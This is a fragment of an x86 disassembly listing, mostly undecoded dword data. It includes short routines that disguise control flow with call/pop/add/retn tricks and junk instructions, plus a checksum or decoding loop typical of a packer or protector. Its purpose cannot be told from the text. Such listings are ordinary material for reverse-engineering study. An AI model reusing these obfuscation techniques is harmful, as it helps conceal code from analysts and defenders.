		dd 4244481h, 16h, 1CC35545h, 0BD8B2755h, 5D11FFDh, 8313BD83h
		dd 0F0005D4h, 4784h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4355E083h, 0FB1280C7h
		dd 39E94Dh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 25150DC3h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FCC08B00h, 0FE9h
		dd 22BE6300h, 1192EF3h,	7FEAD191h, 1C49EE3Dh, 679BD83h
		dd 0F0305D1h, 40985h, 0CF816600h, 0BD8382F2h, 5D48313h
		dd 0F7840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0ECE2C351h,	49579691h
		dd 13B5FFFCh, 6A05D483h, 3E85200h, 20000000h, 895AC35Ah
; ---------------------------------------------------------------------------


loc_5B1800:				; DATA XREF: ud2_____:0056BD4Co
		push	esp
		and	al, 4
		add	dword ptr [esp+4], 1Bh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		xchg	eax, edx
		sub	edi, [edi+ebx*8-6074AF48h]
		call	dword ptr [ebp+5D102FDh]
		sub	di, 7547h
		jns	loc_5B182D
		mov	edi, [ebp+5D123CDh]


loc_5B182D:				; CODE XREF: ud2_____:005B1821j
		mov	esi, [ebp+5D48307h]
		push	0
		push	ebp
		call	sub_5B183E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B183E	proc near		; CODE XREF: ud2_____:005B1836p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5B183E	endp

; ---------------------------------------------------------------------------
		dw 0EC45h
		dd 0C194E482h, 13E938h,	0B4EE0000h, 4BC96407h, 161D8B3Eh
		dd 94D460E5h, 6EB782B1h, 0C7DE8B4Dh, 1000106h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9650964Fh, 1BC98D29h, 0B5FF05D1h, 5D48313h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 50C35040h, 0D17B7C0Fh
		dd 0DDAC07ACh, 118D0Fh,	0CE90000h, 8C000000h, 536DB199h
		dd 28890B01h, 0FFEEFDF2h, 0D1068195h, 499D8B05h, 8B05D124h
		dd 0D48307B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B70FE003h, 359D01D9h
		dd 8B05D132h, 0D1179185h, 70BB6605h, 0C486899Eh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 3C9DC353h, 3E6C0B1Eh, 23E7C8A6h, 0D110999Dh
		dd 21958B05h, 0F905D110h, 6A04C283h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 85F7C357h
		dd 0A18D3112h, 0E905D121h, 7, 0A0E171Dh, 89B8A28Ch, 6A2050h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 18636CC3h, 61DB8166h, 45BF6663h, 31858D05h, 6A05D496h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 39A2C352h, 8B6610D2h, 0B88689DFh,	9000000h
		dd 0D117C185h, 0F006A05h, 0B5FFDFBFh, 5D48313h,	9E9h, 0DA57D100h
		dd 1501B5FBh, 95FFAFC1h, 5D131F5h, 12AD8589h, 0E99605D1h
		dd 0Eh,	49300B62h, 0FB2F517Eh, 73A60B88h, 5050001Ch, 880F5152h
		dd 0
		dd 66310F5Bh, 5AB658BBh, 9D8B9658h, 5D121C5h, 3870Fh, 0D3800000h
		dd 13B5FF30h, 6A05D483h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 5239C357h, 245ABF22h
		dd 6840F9Ah, 89000000h,	0D10AB5B5h, 0D595FF05h,	6A05D102h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0DEC5C350h, 11E89Fh, 5E920000h, 0CC7649B8h
		dd 0C82AF691h, 6D636DBh, 66948756h, 5B171DBBh, 1AA98531h
		dd 0BD8305D1h, 5D11F7Dh, 39840F00h, 80000000h, 8589CAE7h
		dd 5D1321Dh, 1D7BBB50h,	34890A6Ch, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9AAACB8Eh
		dd 8D4E4BB9h, 8FE380A6h, 8313B5FFh, 6A05D4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 712D7EC3h
		dd 0E1E74670h, 0BB02C13Eh, 7F16AF3Fh, 135995FFh, 0BB6605D1h
		dd 8B661E40h, 13B5FFFEh, 6605D483h, 98DAF781h, 1D3995FFh
		dd 0F98B05D1h, 70DBD83h, 0F0205D1h, 5984h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 7A93297Bh, 660B75A4h, 858BF88Bh, 5D117A5h, 1049BD89h
		dd 0C605D1h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 495A4223h, 3BC6EFC0h, 85C7AD1Bh
		dd 5D11F55h, 0
; ---------------------------------------------------------------------------
		mov	edi, edx
		jmp	loc_5B0F36
; ---------------------------------------------------------------------------
		movzx	edi, si
		mov	eax, ecx
		push	0
		push	edi
		call	sub_5B1BD7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1BD7	proc near		; CODE XREF: ud2_____:005B1BCFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5B1BD7	endp

; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 85h,	56h, 0C4h
		dd 0C6E78114h, 8D024EA2h, 0D1068D85h, 13E905h, 0CB7B0000h
		dd 31F55301h, 0AB4947C0h, 6FCEFC93h, 2B6ECD77h,	8E850C8h
		dd 0D4000000h, 7EB6C2D9h, 66FE5EA0h, 895FFE8Bh,	6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A6A32BC3h, 6A36F75Bh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 599D233Ch
		dd 6A05D131h, 12E900h, 8CC30000h, 4471D985h, 2F91977Fh
		dd 2C1963BBh, 86C39F3Ch, 8008858Dh, 0BD8905D5h,	5D11805h
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A0E3C355h, 0E31071CDh, 666DCC12h
		dd 0DE9FB8Bh, 0C0000000h, 4B66F8F4h, 0F6D38DFDh, 9C1B5C34h
		dd 38C0F50h, 66000000h,	489D88Bh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 111CB279h
		dd 0D5F41BF4h, 890FC5B0h, 6, 18B58589h,	6A05D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h, 10699ECCh
		dd 0FCCF8166h, 89006AC6h, 0D1262595h, 3995FF05h, 6605D11Bh
		dd 8D41D5BBh, 0D481CF8Dh, 0FFFE8B05h, 55006AD1h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 4FE41B04h, 173A7D58h, 6850F55h, 8B000000h, 0D11D1D9Dh
		dd 0BD83F905h, 5D120E9h, 0A5850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 1AF4C356h, 28E0C034h, 6A026A13h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0E178C353h
		dd 0A526B3E9h, 0E9EB28E8h, 31519D8Bh, 0E99005D1h, 7, 0E97AB626h
		dd 50B10326h, 8E960h, 0C9FE0000h, 0BCE1355Dh, 0C38BC9ADh
		dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 6BCC10C3h, 0C61BE781h, 0E78139E1h, 4C27EE5Ah
		dd 31F595FFh, 858905D1h, 5D10265h, 0D64E9h, 0E800h, 815D0000h
		dd 0D58012EDh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0EC904B9Bh, 0D0D9A21Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h
		dd 0CBDC12D3h, 2EBF6690h, 519D0958h, 8D05D12Dh,	0D472B185h
		dd 619D8B05h, 0E905D10Ch, 10h, 0D4F7D963h, 328A9F2Dh, 0A30EAEC1h
		dd 8ECAD25Bh, 0F98B6650h, 0E8240489h, 0Fh, 8F5453AAh, 0E8CFD6E1h
		dd 0DA6D8E72h, 8BEDEE59h, 0D131F19Dh, 0FF645F05h, 35h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 8176B48Fh, 67EEF362h, 62D9D8Bh, 896405D1h
		dd 25h,	4830F00h, 66000000h, 0FFB999BBh, 0D1271985h, 0FF6AF505h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4DC35343h
		dd 4DB5FF53h, 6A05D127h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3B25C355h, 95FF2070h
		dd 5D11279h, 102E9h, 0F5B52900h, 0B005D12Fh, 0E99D8B00h
		dd 0E905D117h, 0Eh, 0EDD1AA90h,	0D0A92724h, 51F4585h, 70E68759h
		dd 350309BFh, 8B71E447h, 0D110E9BDh, 0F613C05h,	0CA83h
		dd 0C8B60F00h, 0CB8B6660h, 675BD8Bh, 0BA6105D1h, 6, 5BFB8B57h
		dd 0D381C18Bh, 279793B9h, 0F04E8C1h, 0F766D9B7h, 918529E2h
		dd 2B05D106h, 898BBFC8h, 0D18B0C8Ah, 14E97FB7h,	52000000h
		dd 0DE9h, 823C8100h, 25884514h,	58BED968h, 8B5B3142h, 0D127CD85h
		dd 60F88B05h, 0B18D8B52h, 5905D113h, 0F28B6660h, 1CE18D8Bh
		dd 616105D1h, 0B307C083h, 0F1BD8B44h, 8305D131h, 8A0F00C0h
		dd 6, 2715BD8Bh, 0D03B05D1h, 0A830Fh, 0BF660000h, 30E90F55h
		dd 0F5000000h, 11918D8Bh, 952905D1h, 5D1087Dh, 0F01E183h
		dd 1A84h, 39BD0900h, 8305D122h,	0D11191A5h, 9589FE05h
		dd 5D127CDh, 0E98AB3h, 8D000000h, 0D4E526B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 5A7E10F6h, 0E2BB6F1Dh, 6A7AF29Ch, 830F00h, 0FF000000h
		dd 0D1245995h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 6FF1D0F5h, 32B9FC70h
		dd 6A000007h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 89DEC350h, 0D12ABD8Dh,	8330B705h
		dd 8166FCE1h, 0FC1812F7h, 0AE9h, 0A307600h, 14CC0BBEh
		dd 2BE20E3Fh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 9D03608Bh, 5D131F1h, 8BD78A60h, 0D127A9B5h
		dd 0BA616105h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+5D10FE9h],	esi


loc_5B2142:				; CODE XREF: ud2_____:005B214Cj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B2142
		mov	ebx, [ebp+5D10021h]
		cld
		push	0
		push	edx
		call	sub_5B2160
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2160	proc near		; CODE XREF: ud2_____:005B2158p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B2160	endp

; ---------------------------------------------------------------------------
		dd 8611FEABh, 0B0E2DDDh, 0D111559Dh, 6850F05h, 89000000h
		dd 0D11CF585h, 880D05h,	85090000h, 5D10EB9h, 0F5EF8166h
		dd 21958B89h, 0BB05D110h, 7A64A57Fh, 1C098D8Bh,	6A05D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0C7DA1BC3h, 8B5054F1h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	9DC35343h, 8B9544D7h, 0D11E9D9Dh, 0E3816605h, 6A3419h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD337AC3h, 5D12519h, 0F1950160h, 8B05D119h,	0D1186D8Dh
		dd 0BD836105h, 5D10049h, 73840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0F7CCC357h, 60FDE4F1h, 0C2C380BCh, 0B8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 1C03E34Fh, 0BD8B5B70h, 5D1328Dh, 0F5B58B60h,	0F05D110h
		dd 389h, 0F08B6600h, 0BD8D8D61h, 6605D14Ch, 0E1FFF98Bh
		dd 107DBD89h, 0BD8305D1h, 5D10679h, 2E840F00h, 8B000004h
		dd 79BD83DEh, 105D106h,	43A840Fh, 8B570000h, 0BD835BD9h
		dd 5D10679h, 0F3860F03h, 89000003h, 0D10311BDh,	0E9566005h
		dd 0Dh,	0A04B8B3Ch, 422F62A5h, 71DC20EEh, 8C665B11h, 51006AD9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0D4532A43h, 56B6C2D9h, 605B00B3h, 68C0Fh, 9D8B0000h
		dd 5D10691h, 858B6061h,	5D12515h, 0E18061FCh, 0ADA8A04h
		dd 57840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0E2D2C355h,	23D5F975h
		dd 31858BF9h, 6A05D117h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E74AC353h,	17499D03h
		dd 850F05D1h, 6, 321D8D89h, 853305D1h, 5D10E71h, 6890Fh
		dd 8D890000h, 5D11595h,	7BBF6690h, 0AE85043h, 33000000h
		dd 0BA60CB0Ch, 7B3BE6CAh, 56905F46h, 22AD9D89h,	8B5B05D1h
		dd 0D120059Dh, 6A006A05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0FE57C353h,	0A5C74E25h
		dd 9419D89h, 0DE8B05D1h, 1F2B4768h, 0DCBB662Bh,	243481EEh
		dd 2B0028B8h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	46C35141h, 1D95FF72h, 6A05D111h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 9006C356h
		dd 0C0AAA951h, 0E9EAB346h, 0Eh,	14020A3Ch, 0ABE67AC5h
		dd 99C95256h, 8589CD54h, 5D48313h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 4AC35747h, 0A6BFE264h, 0E97BCDDAh
		dd 1C9h, 0B036D781h, 858B3D40h,	5D4830Bh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0EBC35141h, 3B6E9D10h
		dd 0F0F0023h, 68Bh, 859D8B00h, 0C705D116h, 1800h, 38D0F00h
		dd 0F000000h, 0B58BF8B7h, 5D4830Fh, 5E9h, 0AD353100h, 858B9168h
		dd 5D122A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0D8C35242h, 0B0467390h,	969ABF6Ch, 68928C6h, 0D98D8950h
		dd 5F05D114h, 1731858Bh, 6A05D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0E97245C3h, 0F619BDEEh
		dd 7E9h, 14536A00h, 70B97194h, 2A6DB589h, 468905D1h, 559D8B04h
		dd 9605D119h, 0E8F0Fh, 6E80000h, 6A000000h, 0E3B94210h
		dd 5BDE8BC5h, 0DA8B6650h, 12E996h, 4F430000h, 0BD131041h
		dd 0CFC2886Ch, 9A3C3924h, 126E221Bh, 830BB5FFh,	6A05D4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 73944EC3h, 0E05662BBh, 398D8933h, 6805D115h,	3854F4EDh
		dd 81DA8B66h, 0F7122434h, 858D384Bh, 5D48313h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 48C35747h, 14E9D7AEh
		dd 0DB000000h, 0B3B3E47Fh, 9B002FD0h, 0EE3E6466h, 0A2216CC4h
		dd 8BC4BDFBh, 0D12A61BDh, 66605005h, 0F7DCCB9h,	589h, 0AD0AB800h
		dd 896158A0h, 0BD892404h, 5D100B1h, 111D95FFh, 6A05D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F4691AC3h, 45390FD3h, 0CE9615Bh, 0D7000000h, 0C9AE829Eh
		dd 9B5CB4ADh, 0C78170C2h, 0D1067985h, 305h, 0AD858900h
		dd 8305D11Bh, 0D48313BDh, 840F0005h, 42h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 55C35141h, 48A6BE7Fh
		dd 38E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 3050E0ECh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 45B529C0h, 6A05D127h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 51CDC353h, 79BD835Ch, 305D106h, 3E2850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0ED4C04C3h, 89D2E2F1h, 0D125C59Dh, 13BD8305h
		dd 5D483h, 3AE840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0B68F13C3h, 46AA7FE1h
		dd 0F53BBF66h, 5E9h, 70A1C800h,	0B5FF2096h, 5D48313h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C8C35343h, 24C18501h
		dd 95FF05D1h, 5D102FDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A7C35040h, 14CF3280h, 1E319D89h, 0B58B05D1h
		dd 5D48307h, 12FD9D8Bh,	6C705D1h, 10001h, 6766C381h, 66504DF8h
		dd 3489D88Bh, 0C850F24h, 0F000000h, 681h, 0C5858900h, 0FF05D100h
		dd 0D48313B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 3FF8133Dh, 4820F82h, 66000000h
		dd 0FFE0BABBh, 0D1068195h, 1AEB8005h, 8307B58Bh, 38BF05D4h
		dd 0E937A660h, 0Ch, 30E161A2h, 0B7A9F44Fh, 230C8B3Fh, 1791858Bh
		dd 0BF0F05D1h, 0C48689DEh, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 51A5C353h
		dd 0F7625DE4h, 60A4B4BBh, 21958B02h, 105D110h, 0D11FBDBDh
		dd 4C28305h, 6D7911BFh,	219D8B45h, 8905D101h, 6A2050h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0DD11F7C3h, 0FB8BA7DEh, 9631858Dh, 0D78105D4h, 2C821D04h
		dd 0B88689h, 81660000h,	6A7954CBh, 13B5FF00h, 8105D483h
		dd 3F6A0F7h, 49BD232Eh,	0FF05D102h, 0D131F595h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 30F36C4Eh, 96656761h, 0D860Fh, 52500000h, 9DAB39BBh
		dd 52310F62h
		dd 50585A5Fh, 3396F98Bh, 0D11031BDh, 13B5FF05h,	6A05D483h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7FC2C355h, 0B2252A85h, 319D8B10h,	0FF05D12Bh
		dd 0D102D595h, 895AB705h, 0D119999Dh, 7DBD8305h, 5D11Fh
		dd 41840Fh, 0BF660000h,	89BF702Eh, 5042B02Dh, 89D88B66h
		dd 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 6A0150C3h, 2F68ABF0h, 0CF810F88h,	3F243A2h
		dd 0C7816651h, 0FF5B4E8Ah, 0D48313B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 41C9764h, 0B1848A21h, 8D290212h, 5D112C5h, 135995FFh
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 3C49CEC3h, 0C514020Ah, 0F60E67Ah,	586h, 0DF816600h
		dd 9D299686h, 5D11195h,	13B5FF61h, 5305D483h, 29DBD03h
		dd 0FF5B05D1h, 0D11D3995h, 12E905h, 0F59C0000h,	386BC764h
		dd 0BE49701Ah, 0B0416FC8h, 0A1EBA011h, 70DBD83h, 0F0205D1h
		dd 4284h, 8BAFB300h, 0D117A585h, 6E805h, 58560000h, 0C1B440EAh
		dd 0C65FF9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0CFAD9215h, 8C9BB6B9h, 0A985291Dh
		dd 0C705D11Ah, 0D11F5585h, 5, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0E3548796h
		dd 19870Fh, 14E90000h, 5F000000h, 8C8EC367h, 41E4C5E6h
		dd 0A992995Fh, 9C5013D5h, 664A4E7Eh, 4E30F381h,	0FFF3D9E9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 7265EB54h, 9E9h,	385BF100h, 8E0AA0EAh, 0C18B0EF5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4C35343h
		dd 159D0BE8h, 8B05D11Dh, 0D132299Dh, 8D858D05h,	6A05D106h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0BCC6C352h, 90C82F28h, 0EE8h, 0E799BA00h
		dd 0FEE2251Ah, 0C9091C0Ah, 0F01B8E6h, 8Fh, 60505F00h, 890Fh
		dd 0F38B0000h, 6A9061h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 408FCDC3h, 3E03A5A3h, 0EE1BD8Bh
		dd 6A05D1h, 8D006AF5h, 0D58F7585h, 9D9D8B05h, 8305D108h
		dd 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0E98482C3h, 6E6EBF90h, 8B503EB4h,	6A90DAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 3F0B3FC3h, 698791BFh, 0BDB529DFh, 3305D10Ah,	0D12D99BDh
		dd 0FE8B6605h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 2A9497C3h, 848EABBEh, 0F069F381h
		dd 6A2D9Ah, 1FA5BD0Bh, 95FF05D1h, 5D11B39h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 8C35141h, 0A70F016Fh
		dd 2E19D03h, 8B6605D1h,	0CF8D8DDEh, 6605D481h, 0D1FFDA8Bh
		dd 1485B589h, 0BD8305D1h, 5D120E9h, 0A2850F01h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9B3CC352h, 20A224E2h, 667C6200h, 26ADF8Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 72C35545h
		dd 0B1546DB8h, 5050D042h, 12E852h, 0E43D0000h, 9D691579h
		dd 0D42D738Dh, 6363A5C3h, 200DBB01h, 0F5BD98Bh,	2860F31h
		dd 60000000h, 89585A61h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 9AD121C3h, 0DEBF0F9Eh
		dd 31F595FFh, 0CB8005D1h, 0E14E9DEh, 0E80000h, 5D000000h
		dd 8F7FED81h, 6A05D5h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A1C3F0C3h, 0E7D78166h, 57006A12h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0B1858DCDh, 6A05D472h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0AC9C356h, 17DBD8Bh
		dd 505005D1h, 895B20B7h, 880F2404h, 6, 9119D03h, 0FF6405D1h
		dd 35h,	0DECB8100h, 6418EFC0h, 2589h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0E4C87DC3h, 0A4E21B5Ah, 1DBDBD23h, 820F05D1h, 6, 15A19589h
		dd 85FF05D1h, 5D12719h,	20759D8Bh, 0FF6A05D1h, 1DD1B5FFh
		dd 6A05D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 103562C3h, 71DB8067h, 95FFFE8Bh, 5D11279h
		dd 106E9h, 91BD3100h, 0B005D106h, 70E6F500h, 61F640BBh
		dd 0E971E41Dh, 7, 0CEDB80C6h, 3C43C9CCh, 0E0830F61h, 0F000000h
		dd 685h, 39958900h, 0F05D122h, 11E9C8B6h, 35000000h, 88D508Ah
		dd 0D43BB9AAh, 93FB78C1h, 6A74AB0Ch, 6BAh, 8F0F00h, 8B000000h
		dd 3D9D89C1h, 5305D110h, 9BDBD89h, 0C15F05D1h, 8D8904E8h
		dd 5D10E75h, 1FB99D89h,	0F76605D1h, 459D8BE2h, 2B05D100h
		dd 0D9BD89C8h, 8B05D125h, 5E9D1h, 0CBA90000h, 0BF0702AFh
		dd 50127D17h, 6AE9h, 0C99D8900h, 8B05D10Bh, 885h, 59CB8100h
		dd 833C830Eh, 0F95207C0h, 0C0835Bh, 2A98589h, 0D03B05D1h
		dd 10830Fh, 81660000h, 0E9605FDBh, 37h,	261D8589h, 8D8B05D1h
		dd 0FFFFFFFFh, 0F01E183h, 2284h, 0C1BF6600h, 0FFA583F3h
		dd 0FEFFFFFFh, 2D799509h, 958905D1h, 8,	16D59D8Bh, 0E905D1h
		dd 8D000000h, 0D50A38B5h, 94C78005h, 6A5F52h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F7C35646h, 6B01B372h
		dd 0BBDC54E2h, 2D515DF1h, 245995FFh, 0C8BF05D1h, 0B95D319Eh
		dd 1078h, 23FCE183h, 0D11AD1BDh, 0BD8BFC05h, 5D13189h
		dd 899D0356h, 5B05D109h, 6AC02Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 893CBDC3h, 0D12715BDh
		dd 0BA05h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 962311C3h, 86F476A1h, 5607AD9Ah
		dd 5FFA8A53h, 8589605Fh, 5D1216Dh, 0C233AD61h, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0B7E0957Fh, 12E9F83Ch, 64000000h
		dd 7E926CBFh, 1B94D664h, 8F0C9754h, 2A227F29h, 0C381663Ch
		dd 880D6237h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9992C352h, 0CC645C8Fh
		dd 8A7EBB66h, 0A81BD23h, 958B05D1h, 5D11021h, 12E9h, 0FE183B00h
		dd 0ABBCB760h, 0DC6B4BC4h, 5A595D2h, 8B1ED797h,	0D11C098Dh
		dd 0F2BB6605h, 0C28B5004h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 8958188Bh, 0D11F258Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 2A5721FBh
		dd 0C57BD01Fh, 0EF816627h, 0BD83FB91h, 5D10049h, 47840F00h
